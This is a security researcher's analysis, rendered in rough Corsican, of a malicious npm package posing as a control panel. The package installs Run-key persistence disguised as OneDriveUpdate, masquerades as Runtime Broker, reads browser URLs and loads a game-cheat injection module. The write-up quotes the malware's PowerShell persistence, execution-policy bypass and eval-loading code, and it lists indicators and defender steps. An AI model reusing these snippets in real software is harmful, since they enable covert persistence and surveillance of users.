TL; DR
U pacchettu npm sensibilità si descrive cum'è un "Pannellu di Cuntrollu di Sensibilità". In Windows si cumporta cum'è un strumentu di cuntrollu remotu è di surviglianza.
U so puntu d'entrata, launcher.js, rinomina u so propiu prucessu in Runtime Broker, scrive un valore Run-key di avviu automaticu chjamatu OneDriveUpdate chì rilancia u pacchettu per mezu di un VBScript nascostu, genera PowerShell cù -ExecutionPolicy Bypass, è dopu evalva un payload di servitore offuscatu di 171 KB accantu à un modulu nativu di 6.87 MB, sens.node.
Serve un pannellu di cuntrollu di accoppiamentu di telefoni nantu à u portu TCP 3000 è legge l'URL di a barra di l'indirizzi di u navigatore attivu attraversu Windows UIAutomation, fighjendu un video YouTube codificatu in modu rigidu.
Dui parti chì prima eranu lasciate cum'è scatule nere sò avà risolte. U servitore offuscatu, server.obf.js, usa un schema di array di stringhe RC4 di obfuscator.io; reimplementendu u so decodificatore offline (senza JavaScript eseguitu) recupera un unicu endpoint esternu — https://izopi.com/check.php — inseme cù una chjave publica RSA integrata aduprata per verificà e risposte di licenza firmate.
U modulu nativu, sens.node, ùn hè micca imballatu: a so tavula d'impurtazione è e stringhe integrate l'identificanu cum'è un overlay in ghjocu DirectX 11 / Dear ImGui chì furnisce funzioni aimbot, ESP (wall-hack) è triggerbot, guidate da l'iniezione di prucessi remoti è e letture/scritture di memoria.
E stringhe in ellu facenu riferimentu à entità di veiculi è pusizioni di mappa coerenti cù GTA V / FiveM. U pacchettu npm hè u wrapper di consegna è di persistenza intornu à quellu modulu nativu.
U signale definitoriu hè operativu, micca tecnicu: un solu editore anonimu hà publicatu circa settanta versioni di un pacchettu - 2.5.0 à traversu 2.5.69 - in uni pochi di ghjorni, ognunu purtendu u listessu lanciatore.
Ùn ci hè micca installazione hooksU payload funziona solu quandu u pacchettu hè iniziatu.
L'attaccu: cumu funziona
sensitivity manda dece fugliali. U package.json hè sparsu: nisun campu di repositoriu, nisuna licenza, un alias main è dui alias bin (sensitivity, sens) chì puntanu tutti à launcher.js, è un script di partenza di u node launcher.js. Ùn ci hè nè postinstallazione nè preinstallazione. Nunda ùn si attiva durante l'installazione npm. U cumpurtamentu discrittu quì sottu si eseguisce quandu un utilizatore avvia u pacchettu - via u shim bin, u script di partenza, o un require.
U tarball cuntene u launcher, un servitore offuscatu, u modulu nativu, un script Visual Basic è un cartulare public/web per u pannellu di cuntrollu. launcher.js hè l'orchestratore leggibile; a logica chì importa in tempu reale si trova in i dui blob chì carica - un servitore offuscatu è un modulu nativu compilatu, tramindui risolti quì sottu.
Mascheratura di prucessu è un falsu aggiornatore OneDrive
À l'iniziu di l'esecuzione, launcher.js definisce u so propiu nome di prucessu duie volte:
javascript process.title = 'Runtime Broker'; Runtime Broker hè un prucessu Windows legittimu (RuntimeBroker.exe) chì media i permessi di l'applicazioni. Rinuminà un prucessu Node per currispundere significa chì un sguardu rapidu à Task Manager ùn mostra nunda di stranu.
A persistenza hè scritta via PowerShell piuttostu chè una API di registru diretta:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); U valore di avviu automaticu hè chjamatu OneDriveUpdate, è ùn punta micca direttamente à u pacchettu. Punta à wscript.exe chì esegue OneDrive.Standalone.Updater.vbs inclusu. Stu script riavvia u node launcher.js in una finestra nascosta. Sia u nome di a chjave Run sia u nome di u schedariu VBScript piglianu in prestito a marca Microsoft, dunque l'entrata di avviu automaticu si legge cum'è un'attività OneDrive di rutina.
PowerShell cù bypass di pulitica d'esecuzione
U lanciatore manda ripetutamente schede à PowerShell. U dissipatore chì i scanners segnalanu cum'è criticu hè u lanciu di un .ps1 generatu cù a pulitica d'esecuzione disattivata:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass elimina a verificazione lucale di a firma di u script per quella invocazione. I script generati gestiscenu u travagliu di surveglianza di u navigatore è di rilevazione di e finestre descrittu in a prossima sezione.
U servitore offuscatu è u modulu nativu
Dopu a cunfigurazione, launcher.js carica è esegue u so veru payload:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js hè 171 KB di offuscazione _0x-array - u mudellu JavaScript induve ogni stringa è identificatore hè rimpiazzatu da un indice in un array mischiatu, poi dereferenziatu in fase di esecuzione. U schema hè a variante RC4 prodotta da obfuscator.io: una sola funzione di decodificatore decodifica in base64 una entrata di array è poi a decifra in RC4 cù una chjave per chjama. Reimplementà quellu decodificatore in un script separatu - eseguendu solu a reimplementazione nantu à l'array di stringhe di 821 entrate estratta, mai u JavaScript di u pacchettu - u svolge in modu pulitu. Ciò chì appare hè modestu ma decisive: un URL esternu, https://izopi.com/check.php`, assignatu à una custante LICENSE_URL; un RSA PUBLIC_KEY_PEM` integratu; u pannellu lucale percorre /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, è /trigger/status; è e stringhe child_process, crypto, è [Sensitivity] sens.node caricate - l'ultima essendu a linea di log esatta chì u launcher riscrive in u modulu di prugramma caricatu. L'endpoint hè una verificazione di licenza: u cliente pubblica un identificatore (u servitore offuscatu furmatta una stringa Discord ID: %s) è a chjave RSA verifica a risposta firmata da u servitore.
sens.node hè un addon nativu compilatu di 6.87 MB, è ùn hè micca impacchettatu - l'entropia di a sezione si trova à 5.6–6.6 è e tabelle d'importazione è esportazione di PE sò intatte, dunque e so capacità sò leggibili direttamente. Esporta napi_register_module_v1, u standard Puntu d'entrata N-API di u nodu, dunque u servitore valutatu u carica cù un requisitu chjaru. A so tavula d'importazione hè u tell. Da KERNEL32 tira OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, è Process32First/NextW - u set canonicu per localizà un altru prucessu, assignà memoria in questu, è leghje o scrive quella memoria. Da USER32 tira GetAsyncKeyState, GetKeyState, mouse_event, è SetCursorPos; cullega d3d11.dll, D3DCOMPILER_43, è dwmapi per una sovrapposizione in schermu, è u set WINHTTP cumpletu per e chjame di rete. E so stringhe integrate nominanu l'inseme di funzioni senza ambiguità: Attivà Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, è u banner Dear ImGui Dear ImGui 1.91.3 WIP. E stringhe di locu è d'entità cum'è Grapeseed Medical Clinic è u vucabulariu veiculu-ESP sò coerenti cù GTA V / FiveM.
A divisione hè deliberata in effetti: u launcher.js leggibile porta solu e parte chì un scanner legge facilmente - persistenza, mascheratura, a chjama eval stessa - mentre l'offuscazione nasconde l'unicu host esternu i cuntatti di runtime, è u binariu cuntene a logica di overlay di u ghjocu è di iniezione di prucessu. U launcher hè a shell fina è verificabile; u servitore offuscatu nasconde l'identità di a rete; u modulu nativu hè u payload. Descrivemu l'impurtazioni è e stringhe di u binariu cum'è lette; ùn deducemu micca u scopu di l'operatore da elle.
Un pannellu di cuntrollu di accoppiamentu di telefoni nantu à u portu 3000
U launcher gestisce un servitore web lucale nant'à u portu TCP 3000 è u tratta cum'è un singleton. Face una dumanda per un listener esistente è u sguassa prima di ligà:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); U pannellu hè accessibile à http://localhost:3000, cù un URL di fallback LAN codificatu in modu fissu di http://192.168.1.16:3000. U cartulare public/ è u cumpurtamentu di u pannellu sò coerenti cù un flussu di accoppiamentu QR: un telefunu scansiona un codice è si lega à l'ospite cum'è un remoto. Nisun duminiu di cumandu è cuntrollu esternu appare in testu chjaru in u launcher - ma, cum'è mostra a deoffuscazione sopra, unu hè presente in u servitore offuscatu: u puntu finale di licenza izopi.com. U pannellu stessu hè lucale è in ambitu LAN; l'unicu host in uscita hè quella verificazione di licenza.
Un mudellu di supervisore/travagliadore distaccatu mantene u prucessu in vita. U lanciatore si rigenera cù i flag d'ambiente SENSIVITY_SUPERVISOR è SENSIVITY_WORKER, ogni figliolu in esecuzione piattu, dunque tumbà un prucessu lascia un watchdog per riavviallu.
Surveglianza di u navigatore è u signale di YouTube
U cumpurtamentu u più specificu hè u monitoraghju di u navigatore. launcher.js custruisce PowerShell chì guida Windows UIAutomation per leghje a barra di l'indirizzi di un navigatore in esecuzione:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern restituisce u cuntenutu di testu di un elementu UI. Applicatu à u cuntrollu di mudificazione di a barra di l'indirizzi di un navigatore, restituisce l'URL chì a vittima sta visualizendu attualmente - senza una estensione di navigatore, senza tuccà u prufilu nantu à u discu, è senza un hook API. U script generatu itera una lista $browserNames è estrae l'URL o u titulu di a finestra di qualsiasi navigatore in primu pianu.
Quell'URL hè testatu contr'à un unicu target codificatu in modu rigidu:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; U lanciatore esegue un ciclu di trè secondi per una finestra di navigatore chì mostra YouTube, è a PowerShell generata porta una coppia Get-YouTubeBrowser / Test-TargetYouTubeUrl chì currisponde à quellu ID video. L'effettu osservabile hè duppiu: l'URL di navigazione attiva hè lettu da u schermu di a vittima, è l'interazione di l'ospite cù un video YouTube specificu hè rilevata. Descrivemu u mecanismu è u bersagliu; ùn ne deducemu micca un mutivu.
A lettura di a barra d'indirizzi hè ciò chì u scanner etichetta sensitive_data_enumeration - una fonte Process::env è UIAutomation chì alimenta un runtime capace di rete. Hà un aspettu benignu in isolamentu è si risolve in surveglianza solu una volta chì u ciclu di vita di i dati hè tracciatu da a fonte UIAutomation à u servitore offuscatu.
Evoluzione di a Cronologia è di a Versione
A sensibilità ùn hè micca un caricamentu unicu. U contu di l'editore hà circa settanta versioni publicate di questu unicu pacchettu, è di nove cuntinuavanu à ghjunghje durante a finestra di revisione. U lanciatore cresce funzione per funzione in tutta a linea 2.5.x mentre a so persistenza è u caricamentu di u payload restanu fissi.
| Data (UTC) | Versioni osservate | Statu di u lanciatore |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Lanciatore di pannelli QR di basa; Persistenza di a chjave d'esecuzione; valutazione di u servitore offuscatu. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Stessa impronta digitale; suppressione di traccia di cunsola. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Aghjusta un target d'ingaghjamentu YouTube fissatu wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Ripubblicazione chì riempie e lacune in tutta a gamma; supervisore / cane di guardia di i travagliadori. |
A lettura di u launcher trà i rapprisentanti scaricati - 2.5.0, 2.5.36 è 2.5.69 - mostra quattru livelli. E prime versioni portanu u launcher di basa per l'accoppiamentu di QR. Da a versione 2.5.33 appare u raccoglitore di a barra d'indirizzi UIAutomation. Da a versione 2.5.58 hè aghjuntu un livellu di gestione di supervisori. Da a versione 2.5.64, u watchdog supervisore/travagliatore distaccatu cumpleta u set. In tuttu, quattru cose ùn cambianu mai: a chjave OneDriveUpdate Run, u dropper OneDrive.Standalone.Updater.vbs, u server.obf.js valutatu è u modulu nativu sens.node.
L'onda di u 2026-06-05 hè nutèvule perchè hà ripublicatu i numeri di versione bassi - da 2.5.0 à 2.5.15 - chì si trovanu sottu à e versioni cunfirmate ghjorni prima. L'effettu hè una linea 2.5.x contigua in u registru, ogni versione chì porta u listessu launcher.
Indicatori di compromessi
Tutti l'indicatori quì sottu sò stati letti direttamente da u tarball di u pacchettu. U lanciatore leggibile porta solu loopback è un unicu indirizzu LAN privatu; l'unicu nome di host esternu, izopi.com, hè statu recuperatu deoffuscendu server.obf.js offline.
| Type | pressure | Fonti |
|---|---|---|
| pacchettu | npm:sensivity (≈70 versioni, 2.5.0-2.5.69) | Editore à pacchettu unicu; senza repositoriu; senza licenza. |
| File | launcher.js | Orchestratore leggibile; target principale è bin. |
| File | server.obf.js (≈171 KB) | Caricamentu utile di l'array di stringhe RC4 di obfuscator.io, caricatu via eval(fs.readFileSync(...)). |
| File | sens.node (≈6.87 MB) | Add-on N-API di u nodu PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| File | OneDrive.Standalone.Updater.vbs | Rilanciatore ammucciatu (node launcher.js). |
| Network | https://izopi.com/check.php | Puntu finale di licenza/autentificazione recuperatu da u servitore offuscatu; a chjave publica RSA integrata verifica e risposte. |
| Capability | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Iniezione di prucessu remotu è capacità di lettura/scrittura in memoria. |
| Capability | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Overlay di ghjocu DirectX 11 / ImGui chì implementa e funzioni aimbot, ESP è triggerbot. |
| Registru | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Valore di partenza automatica chì punta à wscript.exe è u lanciatore VBScript. |
| prucessu | process.title = 'Runtime Broker' | Si maschera da u prucessu legittimu di Windows Runtime Broker. |
| Comportamentale | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Bypass di a pulitica d'esecuzione utilizatu per i script PowerShell generati. |
| Comportamentale | UIAutomation ValuePattern lettura di a barra d'indirizzi di u navigatore | Leghje l'URL di a finestra di u navigatore in primu pianu. |
| Comportamentale | ID di u video di destinazione wJWta2lO0LwSondaggio YouTube di 3 secondi | Segnale di monitoraghju di l'ingaghjamentu appuntatu. |
| Network | http://localhost:3000, riserva http://192.168.1.16:3000 | Pannellu di cuntrollu di accoppiamentu QR espostu lucalmente è in a LAN. |
| Environment | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Bandiere di coordinazione di u prucessu di watchdog staccate. |
Attribuzione, Impattu è Difensori
U pacchettu hè publicatu da un unicu contu npm chì u so indirizzu email dichjaratu hè un indirizzu Gmail micca verificatu. U contu hà un puntuatu di reputazione di registru assai negativu, mantene è publica solu questu pacchettu, è ùn hà micca un repositoriu di fonte ligatu. Ùn avemu micca verificatu a pruprietà di l'email è attribuemu a campagna à u contu di l'editore, micca à alcuna persona numinata. U launcher ùn hà micca infrastruttura di testu chjaru, ma l'unicu host esternu hè avà cunnisciutu: u servitore offuscatu cuntatta izopi.com per una verificazione di licenza, è u modulu nativu - lettu da a so tabella d'impurtazione è stringhe invece di inversà istruzione per istruzione - hè una sovrapposizione di ghjocu chì inietta è legge a memoria di un altru prucessu.
L'impattu osservabile casca nantu à l'utilizatori di Windows chì installanu è eseguiscenu a sensibilità aspittendu una utilità di u pannellu di cuntrollu. Nantu à questi ospiti, u pacchettu stabilisce a persistenza di l'avviu automaticu travestita da attività OneDrive, si rinomina per imità un prucessu di sistema, legge l'URL di tuttu ciò chì l'utente naviga, è mette in opera un pannellu di accoppiamentu chì lega a macchina à un telecomandu nantu à a rete lucale. U watchdog di u supervisore/travagliatore significa chì un unicu kill di prucessu ùn a rimuove micca; l'entrata Run-key sopravvive à i riavvii. macOS è Linux ùn sò micca mirati da u launcher - i percorsi di persistenza, PowerShell è UIAutomation sò solu per Windows.
A perdita di versioni di settanta hè a tendenza chì vale a pena signalà. Ripublicà un pacchettu decine di volte in pochi ghjorni, cumpresu u riempimentu di numeri di versione sottu à quelli digià eliminati, mantene una copia in diretta in u registru trà e rimozioni è frustra e liste di bloccu bluccate per versione. Una entrata di lista di bloccu per sensitivity@2.5.61 ùn face nunda contr'à sensitivity@2.5.3 ripublicatu u ghjornu dopu.
I difensori ponu agisce nantu à i seguenti punti:
- Bluccate a sensibilità di u nome di u pacchettu in u proxy di u registru è in e liste di permessu CI. L'appuntu di versioni individuali perde a cadenza di ripublicazione; u nome hè l'indicatore durevule.
- Cerca un valore Run chjamatu OneDriveUpdate chì i so dati invocanu wscript.exe contr'à un .vbs in un percorsu per utilizatore. L'aghjurnamentu OneDrive genuinu ùn hè micca registratu in questu modu.
- Alerta nantu à un prucessu Node.js chì u so process.title hè Runtime Broker. U veru broker hè RuntimeBroker.exe, micca un runtime Node.
- Segnalà i recuperi in tempu d'installazione di npm di pacchetti chì furniscenu un addon .node compilatu più un eval(fs.readFileSync(…)) di un schedariu .obf.js fratellu. Quellu accoppiamentu - binariu nativu opacu caricatu accantu à un payload di testu offuscatu - hè u tell strutturale quì, indipendente da qualsiasi stringa IOC.
- Trattate qualsiasi ascoltatore lucale nantu à u portu 3000 generatu da un prucessu Node inaspettatu cum'è suspettu nantu à i punti finali Windows gestiti.
- Bluccà o avvisà nantu à e richieste in uscita à izopi.com da sviluppatori o ospiti di l'utilizatori finali; hè l'unicu endpoint esternu di u pacchettu, righjuntu à /check.php da u servitore offuscatu.
- Per qualsiasi addon .node inclusu, verificate a so tabella d'impurtazione prima di fidàvi. A cumbinazione OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread hè una iniezione di prucessu remotu indipendentemente da ciò chì u pacchettu pretende di fà; quì si trova accantu à una sovrapposizione Direct3D è stringhe aimbot/ESP/triggerbot.
Per l'analisi statica pipelines, a forma di cunvinzione hè durevule in tuttu u churn di versione: un prufilu d'installazione fora di rete, un'assignazione di titulu di prucessu à un nome di prucessu di sistema cunnisciutu, una scrittura Run-key via PowerShell, è una valutazione di un schedariu lettu da u discu. Nimu di questi dipende da un duminiu, un IP, o un numeru di versione chì a prossima ripublicazione pò rotà via.
Vede ancu
[npm: sensibilità] – pagina di registru per a linea di versione di u pacchettu discussa quì; sottumessa à rimuzione.





